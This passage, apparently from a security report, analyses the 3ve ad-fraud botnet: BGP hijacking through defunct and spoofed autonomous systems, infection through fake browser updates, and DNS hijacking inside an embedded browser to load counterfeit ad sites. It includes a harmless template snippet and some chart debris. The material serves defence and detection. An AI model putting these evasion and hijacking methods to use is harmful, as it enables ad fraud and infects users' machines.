Europe), which had several transit providers, including the one serving AS ALPHA, connecting it to the Internet. This made it more resilient in case any of its transit providers were to bring down the hammer on its illegal activities. AS BRAVO used an even more complicated network setup — it had several defunct ASs attached to it, each of which in turn had several more defunct ASs attached through which to actually route IP addresses. This configuration made it look more like a legitimate network, and also increased the rate of “churn” of ASs and IPs so that it could respond to blocks faster. Use of AS ALPHA was slowly phased out as AS BRAVO ramped up. ----- 20,000,000 15,000,000 10,000,000 500,000 0 4/1/2017 7/1/2017 10/1/2017 1/1/2018 Current IPs Cumulative IPs _3ve.1 BGP hijacked IPs in current vs. ever in use_ ##### Defunct ASN 3 Defunct ASN 1 Live ASN Spoofed ##### Defunct ASN 5 Connection Defunct ASN 2 Live ASN _Later stage structure of 3ve.1’s BGP hijacking operation_ ----- on defunct ASs, they started impersonating live, legitimately used ones as well. This works because it is perfectly fine for the same AS to have multiple “points of presence” on the Internet as long as it’s only advertising routing for some of its IP addresses at each point. With this change, attempting to identify defunct ASs and block all their IPs would result in collateral blocking. Further, phantom connections to well known transit providers were spoofed to further muddy the waters for automated analysis. They even appeared to be providing transit to some legitimate networks. Despite all the obfuscation, automated identification of this activity is still possible. #### 3ve.2 3ve.2 used malvertising and social engineering to infect approximately 700,000 Windows computers at any given time — a truly significant reach for any cybercriminal operation. The actual infection chain has been documented in detail by Kafeine and other Proofpoint staff. It is using social engineering to lure victims into downloading and executing fake Chrome, Firefox, or Flash updates. The 3ve sub-operation removed the need for data center-based browser farms, instead embedding the entire ad fraud component into malware executed by its victims’ infected computers. This approach greatly simplified the botnet’s data center operation by pushing complexity into the malware. 3ve.2 is responsible for the majority of 3ve’s total outbound network traffic. Counterfeit websites 3ve.2’s main component was its browsing module, which was responsible for browsing counterfeit websites and subsequently executing the ad fraud activity. These sites, hosted on servers in data centers, are templated sites that mainly contain an ad space and its supporting ad libraries along with some scraped content from legitimate websites. To execute the ad fraud, 3ve.2 instructed its browser-bot army to visit these counterfeit sites, loading them in programmatically-driven browsers to generate artificial ad impressions. The ad fraud component was based on the Chrome Embedded Framework (CEF), which the botnet’s authors heavily customized to better mimic a typical Chrome instance. 3ve.2 hijacked domain name resolution (DNS) requests originating from the CEF, instructing the bot on the victim’s machine to visit 3ve-controlled counterfeit websites instead of the original domains. Hijacking DNS resolution for the CEF process keeps 3ve’s victims unaware of the malware on their computers. Since the DNS hijacking was isolated to the CEF requests the user’s regular browsing activity remained unaffected. We were able to identify three different sources of counterfeit websites (referenced as templates) that 3ve.2 visited. We believe 3ve.2 was able to monetize capacity by counterfeiting benign websites. Below are screenshots and JavaScript code snippets used to render the ads on each of those templates. ----- The top screenshot below shows an anonymized example of an original website while the bottom screenshot is the counterfeit equivalent for the same domain. The counterfeit page only includes a video ad and a few links below it. Original website Counterfeit website ----- This HTML template is arbitrarily defining the size of the player based on the current time. 2 var resolutions = [ 3 **[1025,575],** 4 **[960,540],** 5 **[895,500],** 6 **[800,600],** 7 **[700,390]** 8 **];** 9 **var date =** **new** **Date();** 10 **var item = date.getMinutes() %** **5;** 11 **var width = resolutions[item][0];** 12 **var height = resolutions[item][1];** 13 14 **** 15 **** 16 **** 17 **** 18 **** 19 **** 20 21